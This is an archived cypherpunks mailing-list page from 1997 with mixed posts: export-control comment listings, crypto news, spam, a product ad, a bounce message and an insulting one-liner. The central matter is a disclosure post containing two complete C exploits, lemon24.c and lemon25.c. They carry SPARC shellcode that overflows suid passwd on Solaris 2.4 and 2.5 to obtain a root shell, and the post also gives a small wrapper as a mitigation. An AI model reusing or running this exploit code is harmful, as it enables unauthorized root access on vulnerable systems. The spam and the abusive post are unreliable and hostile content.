December 2003 - cypherpunks-legacy

CDM_aok
by John Young 17 Dec '03

17 Dec '03

2-24-97. Financial Times: "Japan is poised to adopt CDMA for digital mobile phones, dealing a blow to European ambitions to make GSM the world standard." Congrats to Qualcomm! Wonder if TIA/NSA is ready to bolster CAVE, or is this a anti-GSM global deal to boost crypto-weak wireless? ----- CDM_aok

1 0

Big Security Hole in Solaris 2.X (X)passwd + exploit
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

Tue Feb 25 14:22 EET 1997 Romania " Another letter - another bug " An Exploit for a Big Big security hole in passwd ( + yppasswd and nispasswd) Under Solaris 2.X passwd, yppasswd and nispasswd can be overflowed in an internal function ( some like sa_chauthtok() ). Using a buffer overflow exploit anyone can gain root access (passwd need suid exec bit from root). passwd has a second overflow bug when it is called with '-s' option in an internal strcpy(). I written two exploits one for Solaris 2.4 and one for Solaris 2.5 for sa_chauthtok() type function ( passwd LEMON_BUFFER ). It's a little trick here - the LEMON_BUFFER is shifted in memory with 1 char after exec so it must to shift the LEMON_BUFFER in a reverse direction before exec - that's happening only for a special combination of the exec args - see my exploits. A way to prevent the exploit is to rename passwd, nispasswd and yppasswd and get out suid-exec bit. After that you have to compile a little program ( some like newpass.c ) with name passwd or nispasswd or yppasswd like root and give them suid-exec bit. You have to change the "hidden_passwd" constant with the new name of Xpasswd files. Cristian Schipor - Computer Science Faculty - Bucharest - Romania E-mail: skipo(a)math.pub.ro , skipo(a)sundy.cs.pub.ro , skipo(a)ns.ima.ro Phone: (401) - 410.60.88 ---------------------------- file newpass.c ------------------------------- #include <stdio.h> #include <syslog.h> #define hidden_passwd "/bin/hpasswd" /*change here ...*/ #define MAX_LENGTH 32 void main(int argc, char *argv[]) { int i; char *args[10]; if(argc < 10) { args[0]=hidden_passwd; for(i = 1; i<argc; i++) { if(strlen(argv[i]) > MAX_LENGTH) { printf("You reached the maximum length in args\n"); exit(0); } else args[i]=argv[i]; } args[i]=(char *)0; execv(args[0],args); } else { printf("You reached the maximum number of args !\n"); } } ---------------------------- end newpass.c ----------------------------------- ------------------------------ EXPLOITS ---------------------------------- ------------------------------ lemon24.c -------------------------------- /* Exploit for Solaris 2.4 ( it is a little and subtile different beetwen this exploit and the prog for Solaris 2.5 - the overflow buffer is shifted with 1 char ) With argv[1] you can modify the stack_offset (+-256). */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 600 #define EXTRA 600 #define STACK_OFFSET 1400 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/passwd", "passwd", & buf[1],(char *) 0); perror("execl failed"); } -------------------------------- end of lemon24.c ---------------------------- ---------------------------------- lemon25.c -------------------------------- /* This is for Solaris 2.5.(1) ! With argv[1] you can modify the stack offset (+-500) if you have troubles ... */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 1100 #define EXTRA 1200 #define STACK_OFFSET 3800 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/passwd", "passwd", buf,(char *) 0); perror("execl failed"); } ----------------------------------- end of lemon25.c ------------------------- # End

1 0

BXA Site for Crypto Comments
by John Young 17 Dec '03

17 Dec '03

The Bureau of Export Administration has set up a Web page to provide the public comments submitted on transferring encryption items from the US Munitions List to the Commerce Control List. Here's the URL and index of hyperlinked comments on 24 February 1997; note the 12MB comments by Technical Communications Corp.: http://www.bxa.doc.gov/pubcomts.htm -------------------------------------------------------------------- Public Comments Encryption Items Transferred from the U.S. Munitions List to the Commerce Control List December 30, 1996 (61 FR 68572) 1. University of Waterloo, 32K 2. John and Laren Navas, 35K 3. Cylink, 49K 4. Motorola, 212K 5. Secure Computing, 78K 6. Tuttle and Taylor, 313K 7. Lyman C. Welch, 78K 8. ISTAC, 138K 9. American Association for the Advancement of Science, 230K 10. Trusted information Systems, Inc., 240K 11. IBM, 251K 12. Hughes Electronics, 250K 13. Industry Coalition on Technology Transfer (ICOTT), 196K 14. Murphy & Weber, 120K 15. Steptoe & Johnson LLP, 229K 16. America Online, Inc., 238K 17. Citibank, 1296K 18. NCR, 104K 19. American Civil Liberties Union (ACLU), 138K 20. United States Council for International Business, 449K 21. V-One, 134K 22. William A. Root, 525K 23. Thoroughbred Security Solutions, Ltd., 181K 24. Microsoft, 2783K 25. Commercial Internet Exchange Association, 340K 26. The Direct Marketing Association, Inc., 126K 27. Technical Communications Corp., 11896K 28. Software Publishers Association, 488K 29. Alston & Bird, 380K 30. Association for Computing Machinery, 417K 31. National Association of Manufacturers, 269K 32. Computer & Communications Industry Association, 374K 33. Dewey Ballantine, 284K 34. American Bankers Association, 482K 35. Steptoe & Johnson for Visa USA Inc. and Visa International, 192K 36. Winston & Strawn for ICOTT, 204K 37. Sun Microsystems, 331K 38. Key Escrow Working Group, 408K 39. Hewlett Packard, 336K 40. Scientific-Atlanta, Inc., 158K 41. Timothy Hinds, 66K 42. Information Security Incorporated, 119K 43. Securities Industry Association, 315K

1 0

Receive multiple checks while promoting only ONE company!!
by mlmdream＠concentric.net 17 Dec '03

17 Dec '03

I_Love_SPAM, Hello! If you are in any Network Marketing program ask yourself this question... WHY? Would you want to build a downline in just ONE program and receive just ONE check? When you could receive up to 20 CHECKS A MONTH with no more effort than just building a single downline! Because it's the smart thing to do!!! When you are ready to embark on this lucrative opportunity go sign up at http://members.tripod.com/~brianj/index.html for a FREE web site to start building your downline.

2 1

SecureFile.
by Anand Abhyankar 17 Dec '03

17 Dec '03

hi cypherpunks, check out 'SecureFile' at www.querisoft.com the attachment here briefs the cool features of 'SecureFile'. thanx. anand.... -- \|||/ ( O-O ) *----------------*-----------*--------.ooo0--(_)-0ooo.----------* Anand Abhyankar Querisoft Systems Pvt. Ltd. Email : anand(a)querisoft.com 810, Sindh Society, Aundh, Phone (Off) : 91-212-385925 Pune - 411 007. INDIA (Res) : 91-212-351023 .oooO ( ) Oooo. *----------------*-----------*------------\ (----( )----------* \_) ) / (_/ SecureFile : * SecureFile is a cryptographic tool through which you can ensure the privacy, integrity and authenticity of your documents. * The product -- seamlessly integrated with the Windows 95/Windows NT 4.0 Explorer - commandS a comprehensive Graphical User Interface. So, all you got to do is "click," and ensure your privacy. * SecureFile allows you to store documents in an encrypted form so that no one would make any sense out of them. Whenever you want to read these documents, SecureFile decrypts them for you (and only you). * You can also encrypt documents such that only a select few (identified by you) may be able to decrypt them. * To guarantee the integrity and authenticity of your documents, SecureFile allows you to digitally sign them. Thus, no one will be able to play mischief with your files without getting detected. Neither shall anyone be able to send you documents forged in someone else's name because SecureFile allows you to verify the signature on any document. * Still, in another sense, you will possess irrefutable proof that you have received certain documents from the one who has signed them. SECUREFILE - JUST THE WAY TO RE-DISCOVER YOUR PRIVACY

1 0

take me off this list
by Catherine Larsen 17 Dec '03

17 Dec '03

I don't know who generated this big long list, but please take me off. And please, if you are replying to the first message about gifs, don't reply to all, reply only to that one person who sent the message.

3 4

Re: [ADMINISTRATIVIUM] Quadratic residues
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

Timothy C[reep] Maytag's IQ is lower than the belly of a pregnant snake. /\ /..\ Timothy C[reep] Maytag /_\/_\

1 0

EI Comments Hypertext
by John Young 17 Dec '03

17 Dec '03

We're transcribing and hypertexting the 43 PDF-formatted Public Comments submitted to BXA on the transfer of encryption items from the USML to the CCL. The first 19 comments are at: http://jya.com/bxapc1.htm (194K) 1. University of Waterloo 2. John and Laren Navas 3. Cylink 4. Motorola 5. Secure Computing 6. Tuttle and Taylor 7. Lyman C. Welch 8. ISTAC 9. American Association for the Advancement of Science 10. Trusted information Systems, Inc. 11. IBM 12. Hughes Electronics 13. Industry Coalition on Technology Transfer (ICOTT) 14. Murphy & Weber for Nokia 15. Steptoe & Johnson LLP 16. America Online, Inc. 17. Citibank 18. NCR 19. American Civil Liberties Union (ACLU) The others should be ready late tonight or tomorrow morning.

1 0

Failed mail
by NTMail 17 Dec '03

17 Dec '03

--------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ra219847; Tue, 25 Feb 1997 17:09:34 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:34 -0500 >Message-Id: <22093491545854(a)abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games) See you soon at GameSpot and >VideoGameSpot! > >.

1 0

Welcome GameSpot and VideoGameSpot!
by announce＠lists.zdnet.com 17 Dec '03

17 Dec '03

----------------------------------------------------------------------- ZDNET ANNOUNCEMENT 2/24/97 ----------------------------------------------------------------------- Do you like to play games? No, not those kinds of games! You know, PC or video games. If the answer is absolutely, sometimes or even just maybe, then you'll want to check out GameSpot and VideoGameSpot. These are the hottest, and most fun sites on the Web for information about PC and video games, bar none! (They are so good, they are now serving as the Games Channel on ZDNet!) GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, news, in-depth features, strategy guides, previews, hints and cheats on all of the latest PC games and hardware. They cover everything from the most hyper action games to the more sedate, but mind-wrenching puzzle games, and give you what you need both before you buy a game and after you bring it home. No one else's online coverage of the PC game industry even comes close. VideoGameSpot (www.videogamespot.com) provides this same information, but about video games played on the Sega Saturn, Sony Playstation and Nintendo64 consoles. Of course you can't download a demo of a video game, so they provide custom quick-time movies to give you a tantalizing taste of each title. Both sites encourage readers to submit their own reviews of games. Think their review stinks? Submit your own and show the world that you're the real expert! And if winning free games or hardware has appeal (not unlike a lemon), then point old man browser over to these sites, PRONTO!! GameSpot and VideoGameSpot give away thousands of dollars in prizes every month (almost $40,000 in February). The contests are simple and fun, and there are hundreds of winners who could tell you how easy it is to get a free game in the mail. (Winner! Winner! Chicken Dinner!!) To visit the sites, go to the URL's listed below, or link to them from the ZDNet Games channel (www.zdnet.com/games) See you soon at GameSpot and VideoGameSpot! ZDNet Games http://www.zdnet.com/games GameSpot: http://www.gamespot.com VideoGameSpot: http://www.videogamespot.com ________________________________________________ ZDNet Announcements are periodic notices of new features, special events and free offers available to members of ZDNet. --To subscribe to ZDNet Announcements, please send mail to: zdnet_announce-on(a)lists.zdnet.com You can leave the subject and body blank. --To unsubscribe to ZDNet Announcements, please send mail to: zdnet_announce-off(a)lists.zdnet.com You can leave the subject and body blank. ________________________________________________ Powered by Mercury Mail: http://www.merc.com

1 0